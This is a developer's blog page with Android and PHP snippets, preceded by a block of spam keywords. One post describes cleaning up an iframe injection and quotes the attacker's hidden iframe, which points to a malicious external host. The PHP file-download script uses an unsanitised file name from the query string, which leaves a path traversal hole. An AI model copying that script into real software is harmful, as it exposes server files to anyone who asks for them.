dien thoai di dong , dau gia , the gioi smartphone , download game mobile , smartphone , tang truong , khoa hoc cong nghe thong cong , mua ban sim , Smartphone gia re , cong nghe tuong lai , cong nghe 360 , giai tri guongmat.org , su kien trong ngay , thoi trang hi tech , thong tin 360 , may tinh bang , perfect body , kasuman.com , gia vang hom nay , tin tuc an toan , kinh te viet nam , xay dung viet nam , thoi trang , thoi trang , phu nu viet nam , tin tuc moi online , dich vu bao ve viet nam , bao ve viet nam , cong ty bao ve viet nam , tin tuc moi online , giai tri 24h , tin tuc 24h


 16 Aug 2012 @ 9:09 PM 

Often in an android app you want to display some formatted text and pictures. The easiest way to do this is with a webview. The only problem with a webview is that its a pain to change the font. Well not anymore

String head = "<head><style>@font-face {font-family: 'myface';src: url('fonts/Roboto-Light.ttf');}body {font-family: 'myface';} img { max-width: " + width + "px; }</style></head>";
String htmlData = "<html>" + head + "<body>" + strHTML + "</body></html>";
WebView wv = ((WebView) findViewById(R.id.wvReview));
wv.loadDataWithBaseURL("file:///android_asset/", htmlData, "text/html", "UTF-8", null);

The above snippet also makes sure all your images fit on your display

Posted By: Zayin
Last Edit: 16 Aug 2012 @ 09:09 PM

EmailPermalinkComments (1)
Tags
Categories: Android

 10 Aug 2012 @ 3:15 PM 

If you try display a popupWindow before android ui thread is ready, you will get an exception. This code will prevent that

pw = new PopupWindow(layoutInflater.inflate(R.layout.firstrundisclaimer, null, false), dipToPx(280), dipToPx(390), true);
findViewById(R.id.content).postDelayed(new Runnable() {
	public void run() {
		try {
			pw.showAtLocation(findViewById(R.id.content), Gravity.CENTER, 0, 0);
		} catch (Exception e) {
		}
	}
}, 500);
Posted By: Zayin
Last Edit: 10 Aug 2012 @ 03:15 PM

EmailPermalinkComments (0)
Tags
Categories: Android

 30 May 2011 @ 12:58 PM 

I have a software app that checks for updates and downloads them from http://www.some_random_website.com/updatefile.rar

However, I’ve noticed that ISPS tend to cache these files so the software app isnt always getting the latest file.

step 1 – create a php function to download a file

<?php
 
$filename = $_GET['filename'];
$path = $_SERVER['DOCUMENT_ROOT'] . "/$filename";
if ($fd = fopen($path, "r")) 
{
    $fsize = filesize($path);
    header("Cache-Control: no-cache, must-revalidate"); 
    header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); 
    header("Content-type: application/octet-stream");
    header("Content-Disposition: filename=\"" . $filename . "\"");
    header("Content-length: $fsize");
    header("Cache-control: private"); //use this to open files directly
    while (!feof($fd)) 
    {
        $buffer = fread($fd, 2048);
        echo $buffer;
    }
}
fclose($fd);
?>

step 2 – rewrite urls so that when requesting /some_file.rar, it redirects to the php app as defined

Options +FollowSymlinks
RewriteEngine on
RewriteRule ^(.+)\.rar$ ./getfile.php?filename=$1.rar [NC]
Posted By: Zayin
Last Edit: 30 May 2011 @ 12:58 PM

EmailPermalinkComments (0)
Tags
Categories: php

 05 Apr 2011 @ 1:50 PM 

So some clever hackers managed to run an iframe injection attack on my site

heres how I cleaned it

find ./ type f -exec sed -i 's/<iframe src="http:\/\/byh1.co.cc\/index.php?tp=25971e546d04c7c2" width="1" height="1" frameborder="0"><\/iframe>//g' {} \;
Posted By: Zayin
Last Edit: 05 Apr 2011 @ 01:50 PM

EmailPermalinkComments (0)
Tags
Categories: Uncategorized

 23 Mar 2011 @ 10:13 AM 

This is a departure from my usual posts, but I think everyone can make use of this.

Posted By: Zayin
Last Edit: 23 Mar 2011 @ 10:13 AM

EmailPermalinkComments (2)
Tags





 Last 50 Posts
 Back
Change Theme...
  • Users » 1
  • Posts/Pages » 40
  • Comments » 73
Change Theme...
  • VoidVoid « Default
  • LifeLife
  • EarthEarth
  • WindWind
  • WaterWater
  • FireFire
  • LightLight

Links



    No Child Pages.

Portfolio



    No Child Pages.